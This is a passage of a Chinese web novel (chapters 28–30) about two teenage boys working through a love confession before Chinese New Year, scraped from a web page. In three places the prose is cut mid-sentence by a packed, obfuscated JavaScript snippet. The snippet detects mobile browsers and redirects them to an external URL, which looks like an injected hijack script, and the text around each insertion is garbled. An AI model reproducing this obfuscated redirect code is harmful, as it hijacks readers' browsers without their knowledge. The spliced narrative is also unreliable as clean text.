坐旁边的孙雯宁抠着手机,憋了一肚子疑问想问,但又怕问出口了,更麻烦。 直到车停在小区门口,他们四个下车进小区,要分开时,孙雯宁忍不住喊了声骆危楼。 骆危楼拉着严妄,回头看她,“怎么了?” 孙雯宁抿唇,手心都是汗,她也不知道对不对,但她比谁都重视这两个朋友。 “嗳,要是哪天你有事的话,可以问我借钱。” 骆危楼一愣,连严妄和罗恬都没明白孙雯宁怎么了。 毕竟骆危楼看起来不像是会缺钱的人,更别说跟人借钱了。 严妄戳戳骆危楼胳膊,“孙雯宁是不是醉了?都开始说胡话。” 骆危楼眼神变了变,再看向孙雯宁时,忽然什么都明白了。 他其实也没藏,他和严妄从小相处就这样,没谁会多想,就像不会有人觉得他们俩睡一个房间有什么不对。 女孩子到底是女孩子,心思比其他人细。 更别说对方是孙雯宁了。 “要是有那天,就问你借。” “行,我还是有点存款的,毕竟我可是大学就要独立生活的人。” 孙雯宁松了口气,拉着罗恬跟他们挥手,转身往家走。 严妄一头雾水,不过站在原地目送她们俩离开,才扯扯骆危楼,“回家睡觉了,我好困啊。” 骆危楼不太清楚孙雯宁是什么时候捋明白的,但没恶意就好。 听严妄嘀嘀咕咕念叨,他收回心思,“回吧。” 从小区门口到他们那一栋,要走几分钟才到。 路上严妄软绵绵的,几乎是被骆危楼拖着走到家。 一进门,严妄就迫不及待随便擦了擦脸,刷牙后扑到床上,衣服都没换。 骆危楼在他后面,收拾了下,进房间时按开灯。 视线扫过严妄的脸,走过轻轻拍了拍,“换衣服再睡。” 严妄抓住他手,闭着眼睛,“你好烦啊,怎么什么都管?我收情书你也管,我睡觉你也管,是不是连我吃饭你都要管啊?” 嘟嘟囔囔的,话还不少。 骆危楼弯腰站着,“不让管吗?” 啤酒他也喝了,这会儿酒劲儿比刚才强烈,人也不算完全清醒。 “两口子才什么都管呢,你——”严妄蹭了蹭被子,“你不是我哥吗?哥——” 可是,他不喜欢叫骆危楼哥。 骆危楼感觉得到严妄的呼吸,他想起那封情书,还有那天被打断的话。 “严妄,我不想做你哥了。” 他闭了闭眼,低下头,“我喜欢你,所以做不成你哥。” 感情发生了质变,不再是从小一起长大的纯粹亲情。 是喜欢,是爱。 是经年岁月累积后产生的不可逆反应,情感分子里有占有、欲望、迟疑和爱惜。 骆危楼不太清楚是从什么时候开始的,但他现在很清楚地意识到,他想亲严妄。 严妄眼睛瞪大,直直地看着骆危楼。 原来,骆危楼喜欢他。 明亮的房间里,两双眼睛映出彼此微红的脸。 眼底的感情清晰分明,骗不了人。 28.第 28 章 严妄不能装傻,因为他听到了。 他更撒不了谎说自己没听见,因为他不会说谎。 骆危楼十八岁生日的第一天,开始在他说的那句生日快乐,结束在骆危楼说的那句喜欢他。 严妄躺在床上,听着骆危楼走出房间、关上客厅门的声音响起又消失。 他抬起手背搭在眼睛上,努力让自己的心平静下来。 一分钟、五分钟、十分钟。 心不仅没有平静,反而更乱了。 骆危楼的眼神、语气和表情,反反复复地在脑海里出现。 骆危楼竟然喜欢他。 怎么会呢? 严妄烦躁地在床上滚了圈,脑袋转得更晕乎了。 不是,刚才骆危楼算是对他表白了吧。 那,哪有人表完白就走的,不是应该问他什么想法,接不接受之类的吗? 严妄猛地坐起来,掀开被子就要下床,才光着脚走到房门口,又突然停下。 现在去找骆危楼,要说什么? 拒绝?接受? 好像都不对,他脑子跟一团浆糊似的,什么都不知道。 严妄扑到床上,闭了闭眼,愤恨地锤了两下床。 “骆危楼,你好讨厌啊!” 反复纠结、睡不着的结果就是,第二天严妄顶着黑眼圈醒来。 严妄坐在被子里,脑袋还是晕的,什么都没反应过来,更别说记起昨晚的事。 习惯拿手机,打开和骆危楼的聊天页面,准备问他什么时候过来。 字打完,刚要按下发送键,大脑一瞬间涌入昨晚的许多片段。 霎时,严妄仿佛被烫到手,直接把手机扔了出去。 骆危楼跟他告白了! 严妄呆呆地坐了好半天,拍拍脸,云里雾里一般踩着拖鞋进卫生间洗漱。 看着镜子里的自己,他深吸一口气,感觉自己的脑门写了一个大大的怎么办。 “怎么办”三个字,让严妄在假期的最后一天如坐针毡。 收假第一天,严妄下楼的时候,纠结得要命。 要是骆危楼没等他,那他拿了两盒牛奶不就有点多余? 可要是骆危楼等他了,那他要怎么办? 几乎被各科知识点占满的大脑,为数不多的空隙,又被怎么办三个字填满。 严妄磨磨蹭蹭下了楼,还没抬头,就听到骆危楼的声音。 “磨磨蹭蹭的,第一天想迟到?” 严妄倏然瞪大眼,抬头看去,“你、你——” 骆危楼手插在口袋,站在单元楼外的道上,“我什么?走了,去学校。” 严妄哦了声,跟上去,“给你的,牛奶。” 骆危楼接过去,说了声谢谢,然后没再说话。 原本有点忐忑的严妄,被骆危楼猝不及防的出现弄懵了,不时悄悄看一眼。 怎么回事?难道他出现幻觉了? “那天的告白是真的,不是幻觉。” 骆危楼忽然出声,“我不想给你当哥,因为我喜欢你,明白了吗?” 快走到小区门口时,骆危楼忽然停下,说道。 严妄一个急停,差点撞到骆危楼,连忙捂住鼻子,“你、你干嘛重复一遍,我、我知道了!” 骆危楼笑了声,“知道?那刚才一直偷看我做什么。” 严妄立即否认,“什么偷看啊,我那是光明正大的看。” 略有心虚地大声反驳问,“不能看吗?” 骆危楼挑眉,“可以,想怎么看都行。” 严妄:“……” 不想跟骆危楼说话了,总觉得在给他下套。 “不想跟你说了,我走了。”严妄扯了扯书包带,径自出了小区,往学校走。 骆危楼站在原地,也不生气。 其实,昨天的告白是头脑一热,但喜欢不是。 所以有想到过严妄的反应,并不会太失落,反而有种松了口气的感觉。 喜欢是会不断堆积的感情,他对严妄喜欢多一分,就会重一点。 直到昨天说出口前,他已经有些不堪重负,隐隐要崩断。 不过,严妄的反应让他有点意外,又有些庆幸。 还好是不讨厌。 - 元旦假期结束,期末考就近在眼前。 半个月的时间备考,期间还要应付不同学科老师的小考。 做不完的卷子、写不完的习题、抄不完的错题,还有单词、文言文、公式要背。 任谁在这样的高压下,都无心去想其他事情。 可严妄控制不住,他和骆危楼是同桌,抬头不见低头见,还要一起回家,怎么可能会忍得住。 写题的空隙,想着想着,脑子里都会蹦出骆危楼那句喜欢。 放学回家路上,严妄一个人走在前面,明显是走神了。 孙雯宁看着不对劲,哎了声,问:“你和妄崽这几天怎么了?他一副快要纠结死的样子。” “……你们?” 骆危楼点头。 孙雯宁瞪大眼睛,“不是吧,你喝醉了,直接亲他?” 尽管震惊,但孙雯宁还是控制好了音量。 骆危楼难得无语地看她,“没有。” 孙雯宁松了口气,“我说嘛,要是被亲了,那妄崽肯定不会跟你一起上下学,至少得当鸵鸟几天。” 虽然现在这样看着,也差不多了。 骆危楼不清楚孙雯宁是怎么看出来的,但这件事好像也只能和她说。 “告白了。” 孙雯宁差点叫出声,“什么?!你、你就这么告白了?” 骆危楼嗯了声。 孙雯宁皱起眉,直觉有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062650|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环节不对,“那妄崽怎么说?该不会没答复你,或者——” “所以他这几天跟你别别扭扭的,就是为这个?” “应该是吧。”骆危楼第一次喜欢人,第一次谈恋爱。 身边没什么特别好的参考例子,一切都是凭感觉,偶尔上网查一下。 他不太确定严妄是什么态度,但不讨厌已经算是意外收获。 “不对啊,妄崽看上去——”孙雯宁也说不上来什么,“你问他怎么想了吗?” 骆危楼摇了下头,“没问,不想逼他。” 他想让严妄多想想,不要随便给出答案,然后后悔。 孙雯宁震惊地看他,再看看前面终于神游回来,站在小区门口等他们的严妄。 “你、算了,感情的事,当局者迷。” 骆危楼疑惑地看她一眼,正好走到严妄旁边。 严妄看他们俩,好奇问:“你们,刚才在聊什么啊?” 不会是聊他们吧?别啊!他都还没想好呢。 骆危楼:“聊寒假的事。” 严妄一脸不解,“寒假怎么了?不就十来天的假期,能写完作业就阿弥陀佛了。” 孙雯宁走过来,“我要回老家过年啊。” “一去五天,还得走亲访友,根本不管我是个高三生的事。” 虽然早习惯了孙雯宁父母的偏心,但听到后,严妄还是不敢相信,真的有亲爸妈能偏心成这样。 尤其孙雯宁那个弟,一看就是个没出息的。 对亲姐都一副颐指气使的样,能是什么好苗子吗? 严妄忽然想起一件事,等孙雯宁走了后,踢了踢脚边的石头,“今年过年,你和阿姨还来我家里过。” “对吧?” 这段时间陆舍青又忙了起来,几乎没什么空回家。 严妄想起来,不由别扭。 告白而已,骆危楼干什么连他家都不来了,晚上一个人待在家里,弄得外公外婆跟着担心。 骆危楼正要开口,手机忽然震了震。 他拿起来看,是骆一州打来的。 “喂?” “过年我来接你,你跟我一起过年。” “这事你跟我妈商量了?” “她又不着家,管过你吗?只要你答应,我来跟她说。” 严妄在一边站着,一会儿看地一会儿看树,耳朵支棱着,几乎全听见了。 不是他要偷听,是离得近,而且周围太安静。 瞥见骆危楼看来,飞快地低下头,研究起地上的草来。 所以,骆危楼今年过年不在这里吗? 骆一州在邻市,去的话,那就得一整个寒假都见不到了吧。 严妄忽然心里发闷,撇撇嘴,不怎么高兴。 太不负责了,告白完什么都不问,还要一走了之,简直就是渣男! 29.第 29 章 回到家,严妄在玄关换鞋的动静乒乒乓乓地响,不知道在弄什么,引起江杉和杨孟生的注意。 杨孟生还穿着围裙,走到餐桌旁,边放盘子边问:“又是谁惹你不高兴了?气鼓鼓的,嘴都能挂个油壶。” 后边跟来的江杉笑了一下,“还能是谁?跟小楼闹别扭了,没见这几天小楼连饭都不来家里吃。” 杨孟生恍然反应过来,“难怪了,我说小陆这一阵也不着家,危楼那孩子去哪了,以为是他爸过来,父子俩聚聚。” 不提骆一州还好,一提骆一州,严妄觉得自己要气炸了。 聚什么聚,那个骆一州不是好东西! 严妄一屁股坐到沙发上,抱着胳膊,“又不是我不让他来,是他自己不来的。” 江杉笑着说:“这回又是为的什么啊?人家小楼什么都迁就你,陪你背书、背单词,还给你看笔记,平时你有个头疼脑热的,他都着急得不行,没有功劳也有苦劳吧?” 严妄紧紧抿着嘴唇,觉得这话不对。 什么功劳苦劳的,又不是他要求骆危楼这么做。 老两口对视一眼,摇头失笑。 真是小孩脾气,吵吵闹闹多少年,又分不开。 “他说不想当我哥了。”严妄特别大声地说了一句。 杨孟生以为自己听错了,“什么?” 严妄重复,“骆危楼说不想给我当哥了。” 旁边江杉忍住笑,“那不正好合你心意,你一直都不愿意小楼当哥哥啊。” 严妄张嘴想反驳,发现自己竟然反驳不了。 是啊,他一直都不喜欢叫骆危楼哥,现在这样不是挺好的。 就在严妄差一点被说服时,敲门声忽然响起。 江杉喊严妄去开门,他站起来走到门口,拉开门后,看见门外站着的是骆危楼,整个一懵。 “你、你不是回家了?” 骆危楼:“去放书包。” 严妄:“哦。” 里边的江杉听到声音,探头看了下,“是小楼来了呀?快进来,正好吃晚饭。” “妄崽,不要堵着门口,不礼貌哦。” 严妄撇嘴,往旁边让开,盯着骆危楼进来、换鞋、关门,最后瞪他一眼,先回到餐桌旁。 骆危楼关好鞋柜门,走过来后,去厨房里洗了手,帮着把添好的饭端出来,在严妄对面坐下。 在饭桌上一般不闲聊,但严妄一副气鼓鼓的样子,江杉和杨孟生就忍不住想逗他。 一会儿问骆危楼最近学习怎么样,一会儿又让严妄期末考要好好准备。 “对了,今年过年还是在江舟过吧?不去你爸爸那边。”江杉问了句,“高三假期不多,一来一去还耽误时间,在这边过能安生一点。” 杨孟生点头,“是啊,你妈妈再忙,过年那几天也是会休息的,到时候还是我们一起过。” 正在心里碎碎念的严妄,忽然停下夹菜的动作,下意识抬眼,瞥向对面的骆危楼。 过年?刚才那通电话—— 骆危楼看他一眼,“我爸打了电话过来,问我要不要过去过年。” 江杉一听,想想做父母的想要孩子一起过年也挺正常,“这倒也是,你多少年没有跟他一起过年,当爸爸的想你也很正常。” 骆危楼不瞒着长辈,都是看着自己长大的,而且跟他们待在一起的时间比跟父母还长。 “我让他跟我妈说,要是我妈同意,那就去两天。” 严妄咬着筷子,忽然一个用力,直接咬到舌头。 疼得他嘶一声,其他人都看过来。 “你这孩子,吃饭还咬到舌头,破了吗?先去漱漱口。”江杉连忙道:“别让辣椒碰到了。” 严妄微张着嘴,站起来还不忘瞪一眼骆危楼。 都怪他,不然自己能咬到舌头吗? 骆危楼吃得差不多,把碗筷放下,跟着他往卫生间去,“瞪我干什么?又不是我咬的。” 严妄瞪大眼,飞快看了一眼还坐着的老两口。 “你在胡说八道什么!” 这话是可以说出来的吗? 什么情况,才会被别人咬到舌头?只有—— 严妄脑海里忽然出现一些少儿不宜的画面,脸腾一下红了。 骆危楼看他表情,就知道他在想什么,“别想些乱七八糟的了,漱口。” 抬手把杯子递到他嘴边,“喝。” 严妄下意识地低头,喝了一口水含在嘴里,才反应过来不对。 凭什么骆危楼说什么他就做什么? 他还要不要面子了。 含着水说不了话,眼睛倒是会瞪人。 骆危楼被他逗笑,忍不住伸手戳了一下他脸颊,在抗议声里解释,“怎么了?我不在这边过年不是应该高兴吗?” “这样不会有人追着你告白,影响你心情了。” 严妄伸手抢过杯子,自己漱口。 “谁被你影响心情了?你这么说,像是我赶你走一样。” 放好杯子,他转过身来,戳了一下骆危楼肩膀。 “骆危楼,你真是怂死了,说完都不问我怎么想,然后就要跑,你真是——” 严妄想了想用词,“胆小鬼!” 丢下这三个字,严妄回到餐桌旁,帮着把碗筷收紧厨房。 骆危楼站在过道,看着收拾东西的一家三口,垂了垂眼,无声笑了笑。 用赶这个词不太准确,他和这个家本来也没有血缘关系。 甚至,他还想要把严妄拐到一条会被人非议的路上。 - 那天之后,骆危楼和严妄之间的气氛更不对劲,不只孙雯宁感觉到,其他人也觉得奇怪。 赶上期末考,大家在校外聚的时间变少,在学校里又都一堆人,谁都不好问。 关键是不当面问,微信上问也问不出什么。 等到期末考那几天,考试教室是按照成绩蛇形排序,从二楼开始往上排。 楼层越低,年级排名越高。 经过一个学期努力,周戈勉强和严妄在一个楼层,教学楼两边教室加起来,一个头一个尾。 一考完最后一科,周戈立即跑出教室,飞奔到严妄考场外。 “严妄!” 看到人出来,周戈上前直接搂住他肩膀,“等会要不要去玩一把?为了期末考都戒多久了!” 严妄扯了扯书包,“不去。” 周戈瞪大眼,“为什么不去啊?都考完了诶,没几天要过年,我肯定出不了门。” 过年假期就十来天,比一些上班族还要放得少。 “不想玩。”严妄皱眉,挨着护栏走,往二楼第一间教室看去,“我要回家。” 周戈顺着他视线往下看,“学神肯定在一楼平台等你,你别看了。” “那过年要不要出来玩?孙仙儿要去老家,豆妹要去走亲戚,老赵要训练,好像——” “怎么过得这么快呢。” 严妄心不在焉地听着,“那你就好好趁着十几天卷过我们,争取开学一鸣惊人。” 周戈:“哥们,你变了。” 严妄嘁了声,“一直这样,是你不了解。” 周戈在心里嘀咕,他是挺不理解的,严妄竟然能不出来玩。 不打篮球、不打台球,最近连游戏都上得少了,最近一次上线还是半个月前新年福利领取。 “那你和学神——”周戈咳了声,“应该都不出去吧?” 严妄皱紧眉,觉得全世界都在跟他对着干。 怎么谁都在问骆危楼过年去哪? 以前有这么关心吗?他怎么不记得了。 “你问这个干什么?” “这不我要是有什么学习上的困难,可以问你们啊。” 严妄往楼下走,“不知道。” 周戈一愣,“什么不知道?” 严妄扭头看他,“当然是不知道他在不在,我又不是他爸,我哪知道。” 都再婚了,还惦记丢下那么多年的儿子,谁知道骆一州是哪根筋不对。 什么再婚生子都是骆一州看不上的。 真正的渣男是,结婚、离婚后再婚,对方孩子都是自己亲生的。 离谱吗? 严妄第一次知道的时候也觉得挺离谱的,甚至有种滑稽感。 周戈看着气鼓鼓走开的严妄,站在原地摇了摇头,确认了一点。 孙雯宁和罗恬从另一边走过来,站在他旁边。 “看什么呢?” 周戈叹气,“严妄和学神真的在闹别扭啊。” 他还以为这两人是地球爆炸,都不可能闹别扭这么久的两个人。 高中三年说长不长,说短不短,但谁都没见过严妄和骆危楼吵架超过半天不和好的。 孙雯宁笑了一声,“你管他们?” “走,考完了,姐请你们喝奶茶。” 周戈立即活过来,“真的啊?孙仙儿你最近威武啊!甩掉渣男,果然是最好的决定。” 孙雯宁一书包砸过去,觉得周戈真挺欠的。 怎么会有人哪壶不开提哪壶,精准踩中雷点。 旁边罗恬捂住嘴偷笑,跟上他们往楼下走。 严妄在一楼平台看到骆危楼,走过去,“回家?” 骆危楼手里拿着单词本,听到声音回头,把本子放口袋,“嗯,走吧。” 考完期末考,不到一周就要过年。 好的是,不管是骆危楼还是家里老两口,都不会问严妄觉得自己考得怎么样。 反正成绩单一出来,考得怎么样一眼就看得出来。 - 等待过年的几天里,严妄很心烦。 并不是学习的事,而是骆危楼到底会不会去骆一州那里过年。 讲真的,他一点不觉得骆一州是想儿子了,才把骆危楼叫过去。 那边不也有一个孩子,还有那边女方的亲戚,把骆危楼叫过去干什么? 换作是他,可能直接在年夜饭上掀桌。 尽管骆一州是主犯,但那边的阿姨知道对方有家庭,还心甘情愿给骆一州生孩子,不可能一点错都没有。 反正搁他什么,他才不可能玩什么合家欢的戏码。 “多大点孩子,在屋子里一个劲儿叹气,你这遇到什么事了?”江杉端着水果敲开严妄房间门,“可以和外婆说吗?” 严妄摇头,对江杉笑笑,“我在发愁数学题怎么解。” 江杉瞥眼打开的卷子,“你这是物理卷子。” 严妄撇嘴,耍赖道:“哎呀,你不要问了,我自己心里有数。” 江杉无奈摇头,“行,你有数,我就不管你了。” 到底还是放心不下,“这几天,又和小楼闹别扭了啊?” 严妄一听表情就变了,完全瞒不住江杉。 “小楼要是去他爸爸那边过年,就要过完寒假才能见到,还闹别扭啊?到时候难过的还不是你。” 江杉看穿自家孩子的心思,“有什么问题呢,好好说清楚。” 严妄抿唇,往桌上一趴,吹了吹头发,“……我知道了。” 又不是真的闹别扭,是没办法往外说的事。 听到江杉开门出去的声音,严妄转了一个方向,盯着书桌上的那几本书。 骆危楼喜欢他,那他呢? 喜欢还是不喜欢。 “……骆危楼,你好烦啊。” 严妄嘀咕一句,“把难题丢给别人,一点都不公平。” 严妄打开手机,看了一下日历,发现要是骆危楼决定去过年的话,那明后天可能就要走了。 明后天,那今天是不是要收拾东西啊? 想到这一点,严妄忽然坐起来,放下笔飞快跑出房间。 正在看电视的江杉和杨孟生被他动静吓一跳,都来不及问,就看人跑了出去。 但转念一想,这个点能去那,就只有楼下。 没几分钟,严妄就到了骆危楼家门口。 “骆危楼,开门。” 严妄一拍门,喊了声,“快点开门。” 正在厨房里准备烧水的骆危楼,听到拍门声后,先是一愣,然后听到严妄声音,挑了下眉。 不过一秒的时间,他就大概猜到严妄来的原因。 关掉煤气灶,把刚烧开的水倒进杯子。 骆危楼端着杯子走到门口,打开门,“有什么题不会吗?” 严妄站在门外,听到这一句,差点气得龇牙,“我这次期末考班级前二十!” 骆危楼本来想回一句“我第一”逗他,但又咽了回去。 “先进来,外面冷。” 严妄哦了声,进了门。 骆危楼在他后面把门关上,问他要不要喝水,严妄直接拒绝,站在客厅中间抱着胳膊看他。 “你明天还是后天就要去骆一州那里了?”严妄很少这么直呼长辈大名,但骆一州除外。 反正不配,很讨厌。 骆危楼坐在椅子上,“问这个做什么?” 严妄有点急,不满地咬了下嘴唇,“你明明知道我为什么问,你——” “你告白了就不想知道我的答案吗?” 骆危楼指腹在杯壁上磨蹭,“想。” “但不想逼你。” 严妄在他对面坐下,“那你走了,我想明白了跟谁说?打电话、发消息都很不公平啊。” “你是当面跟我说的,我也要当面回复你。” 骆危楼被他逗笑,“你以为这是什么一加一的算术题吗?” 还当面回复,他都怕严妄想不明白。 不过现在看起来,似乎想明白了。 “我才不管,反正你不要去骆一州那边过年。”严妄看说不通,皱着眉干脆耍赖,“在这边过年不好吗?外公外婆还有我。” 骆危楼趴在椅背看他,把杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066533|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随手放在一边,“妄崽,我留下来过年,那就一定要个答案。” 严妄被他看得有些别扭,明明以前睡在一起都不会。 他还可以抱着骆危楼,腿搭在他身上。 可现在他们俩的距离至少有三十公分,不过是直直地看他,他就觉得耳朵有些热。 “什、什么答案?”严妄垂着眼,避开他的视线。 骆危楼叹了声,“你看,你接受不了。” “才不是!”严妄一听他叹气,立即抬眼反驳,“两个男的在一起怎么了?又不是犯法。” 骆危楼眼神里带着一些笑,“那你喜欢我吗?” 他声音不大,还有一些轻。 严妄却听得分明,听出了骆危楼的喜欢。 就像是那天晚上在房间里一样。 严妄露出困惑,又很茫然,“你、你为什么会喜欢我?不,你是怎么发现你喜欢我的?” “我们从小一起长大,我什么样子你都见过,而且——” “不是都说越了解的人,越不会成为恋人吗?” “谁告诉你的歪理。” 骆危楼失笑,伸手揉了一把他的脑袋,不忍心再逗他,“放心,我不去那边过年,你慢慢想。” 严妄眼睛一亮,盯着他,“真的吗?” “骗你做什么,不去。”骆危楼收回手,“他有自己的家庭,而且我妈不会希望我去。” 陆舍青的情绪很不稳定,尤其是年底一直加班,各种事情堆在一起,给他打电话问情况的时候,都能听出心情不好。 如果他要去骆一州那边,陆舍青一定会崩溃。 “那你跟我们一起过年啊,不是每年都这样。”严妄松了口气,从椅子上起来抱住他。 “而且,你要给我过生日啊。” 二月份就是他十八岁生日,要是骆危楼不在,他肯定会记一辈子。 骆危楼摇摇头,对严妄这种毫无边界感的肢体行为没办法,从小到大的习惯使然,根本改不了。 他也习惯了。 “所以可以回家了吗?” “回哪?” “上楼,你这么晚下来,外公外婆会惦记你。” “他们肯定知道我去哪。” 骆危楼拍拍他的背,“但你一直不回去,总得我发个消息吧?还有一点——” “什么?”严妄一脸困惑地问。 骆危楼捏捏他后颈,“对着一个跟你告白的人,一直这么抱着,合适吗?我说过,我会想亲你。” 严妄愣了几秒,猛地松了手,往后退开时撞到椅子,椅子腿在地上拖出声音。 “亲、亲什么?” 骆危楼站起来,伸手拉住他,生怕他摔着。 “……上楼去。” 严妄感觉脸都烧起来,不敢去看骆危楼的眼神,站稳后,直接往门口走。 “那我上楼去了。” 不是啊,什么亲啊,骆危楼为什么想要亲他啊。 匆匆跑出门,又匆匆跑回家,严妄进门时完全没注意到江杉和杨孟生看来的眼神。 脸上仿佛被火烤一样,只想快点进房间躲起来。 杨孟生、江杉:“……” 这孩子是压力太大,有点不正常了? - 半夜两点,严妄摊饼似的在床上翻来覆去好一阵,终于受不了,拿了手机,在网页搜索一些两个男生谈恋爱的事情。 【十几年的好朋友,说喜欢自己,为什么?】 【好朋友想亲自己,是因为什么?】 【我不喜欢好朋友早恋,是为什么?】 【你们会因为好朋友不跟自己玩就难过吗?】 【好朋友跟我告白了,我不讨厌,而且跟他睡一起也不会别扭,不过有点不好意思是为什么?】 …… 一连串的为什么,跟十万个为什么一样。 严妄搜完,发现下面的答案什么都有。 但全部指向了一点,你们俩是互相喜欢吧,什么好朋友告白,这就是捅破窗户纸而已。 严妄看着一长串地评论、回复,不自觉咬住手指。 互相喜欢? 可是他又不会想要亲骆危楼。 严妄翻了个身,摇摇头,觉得不怎么靠谱。 刚打算关手机睡觉,忽然想到什么,猛地坐起来,左右看了看,做贼一样搜起了同□□情片。 两个小时后,严妄捧着手机陷入沉思。 抿了抿唇,把手机扔到一边,扯过被子盖住脑袋,闭上了眼睛。 他和骆危楼才不会变成那样。 什么青梅竹马,什么爱人错过,他们俩才不会。 第二天早上严妄直接没起来,等他睁开眼后,骆危楼早就在家里客厅待着。 明天就是除夕,今天开始要准备年货、大扫除,事情不少。 往年骆危楼也会帮忙,要是陆舍青有空也会一起。 江杉和杨孟生早上看到骆危楼来,还挺高兴的。 毕竟这一阵子两个孩子闹别扭,骆危楼在家里都待得没有那么多了。 “小楼啊,妄崽跟你和好了?”江杉笑着问他,“他就是跟你闹着玩,不是真的和你吵。” 骆危楼帮着贴春联,拿着浆糊把杨孟生刚晾好的对联背面刷,“我知道。” 顿了顿,“我们也不是闹别扭。” 杨孟生扶了扶眼镜,“小孩子家家的,哪有一直不吵吵的。我都和你说,过两天就好了。” 落笔写下一个福字,“就你在那穷担心。” 闻言江杉瞪向他,“前几天问我妄崽不开心的是谁啊?” 杨孟生笑着抬头,“我啊。” 骆危楼在一边听到,笑起来,“外婆,我拿去贴,你帮我看下正不正。” 江杉立即答应,“好啊。” 说着拿起另一张,“不理那个老头子。” 三个人各有各的事,严妄打着哈欠出来,看看还在帮其他家写对联的杨孟生,又看向门口的骆危楼和江杉,自然走到厨房里找东西吃。 才拿了一个包子,就被杨孟生制止。 “洗脸刷牙了吗?” “……洗了!刷了!” 杨孟生这才放过他,“那吃吧,给你留的,旁边还有豆浆和油条,你看想吃什么。” 严妄撇撇嘴,难道他看上去像是幼儿园吗? 起床第一件事当然是洗脸刷牙。 忿忿地咬了一口包子,拿着豆浆往门口走。 看了眼贴春联的骆危楼,严妄咳了声,指了指,“骆危楼,你都贴歪了!” 骆危楼低头看他,然后挪了下。 “正了?” 严妄对上他视线,脑海里倏然出现梦里的情形,一不小心被呛到,猛地咳嗽起来。 “咳咳咳,正、正了。” 不是啊! 他为什么会突然梦到骆危楼亲他啊! 30.第 30 章 江杉碰碰杨孟生的胳膊,瞥眼坐在沙发上看电视的俩孩子,“嗳,老杨,你发现没,这俩孩子最近有点怪。” 杨孟生扶了扶眼镜,微眯着眼,“没有吧?不还是那样。” 江杉摇摇头,“懒得跟你说,你就只知道浇你那些花。” “那我退休了,浇花总比打牌、喝酒好吧。”杨孟生笑着看她,“儿孙自有儿孙福,妄崽长这么大,无病无灾比什么都强。” “不过小陆还没回来啊?” 提到陆舍青,江杉忍不住叹了声。 陆舍青工作一直很忙,但往年除夕肯定会提前回来,就为了过个团圆年。 但今天都腊月二十九晚上,人没回来,电话也没来一个。 上次母子俩吵架的事,老两口不知情,但多少猜到了一点。 不止猜了,还往远了想。 过完年就高三下学期,眼瞅着离高三不到半年时间。 离异夫妻就这么一个孩子,成绩好,肯定对他选择学校各有各的意见。 意见不和,不就容易吵架,还波及到孩子,让他选一个。 严妄看着屏幕里的动画电影,咬一口青枣,“他俩在说什么?还悄摸看我们。” 骆危楼瞥眼严妄,不太想跟他说话。 他对严妄的脑回路产生了好奇,这人是怎么做到昨天把他留下后,对着他一点不尴尬的。 他都怀疑严妄是在哄自己。 “不知道。”骆危楼挪了下位置,离严妄远了点。 严妄不满地皱眉,少了一个靠的肩膀。 刚要挪过去,忽地想起什么,眼睛瞪大,坐在原来的位置不动了。 糟糕,差点忘了他还没回复骆危楼的告白。 有的事不能想,一想就停不下来。 比如骆危楼那晚的告白,比如他在梦里梦到的亲吻。 骆危楼扭头,“看什么?” “没什么。”严妄迅速收回视线,躲避拷问。 骆危楼刚想再问,发现手机响了,拿起来看见“妈妈”两个字,起身去房间接电话。 “妈?” 坐沙发上的严妄伸长脖子,也就听到这一句。 再后面的,人进了房间就听不到。 江杉和杨孟生正好从外面进来,没看到骆危楼,问:“小楼呢?” 严妄:“接电话去了。” 顿了下,“应该是阿姨打的。” “小陆打的啊,应该是说过年的事吧。”江杉有点担心,“这个时间来电话,是不是回来不了。” 杨孟生一脸担心,“怕是这样。” 听到这话,严妄有点不乐意了。 就不能是陆阿姨想骆危楼了,所以给他打电话吗? “说不定是问他想要什么,顺道买回来呢。”严妄心不在焉地瞄着电视屏幕,耳朵竖起来听。 听不到啊,要不把电视声音调低一点算了。 老两口也希望是严妄说的那样,这样今年还能过得团圆年。 没几分钟,骆危楼就从房间出来。 出来时,江杉和杨孟生正在研究墙上挂了快十年的画,严妄正支着耳朵趴在沙发扶手上。 看上去都挺忙的。 “我妈说不回来过除夕,初一下午回来。” 骆危楼自然回到沙发坐下,“让我跟你们说新年好。” 看着挺忙的三个人,悬着的心一下死了。 老两口接受得比较快,毕竟以他们的经验,这时候打电话来,多半都是回不了。 没安慰骆危楼,只跟他说,让他也代问好。 白天忙了不少事,这会儿将近十点半不算早,两个人就回房间去了。 客厅只剩下他俩。 骆危楼倒没觉得难过,一是习惯了,二是跟严妄他们过就很好。 不过他一转头,发现严妄嘴噘得快能挂油壶,没忍住笑了声。 “不回来过年的是我妈,你怎么气鼓鼓的?”骆危楼伸手戳一下他的脸,“不回来就不回来吧,回来了还吵。” 严妄拍开他的手,“没生气,我在思考。” 骆危楼挑眉,“说来听听?” 严妄觉得骆危楼在明知故问,心里有点酸,还有点涩。 外加这通电话带来的情绪,七七八八地揉成一团,塞到了心口,堵得他难受。 “不想理你,回房间睡觉了。” 看他真打算回房间,骆危楼跟着站起来,关了电视,“我去楼下。” “不许!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 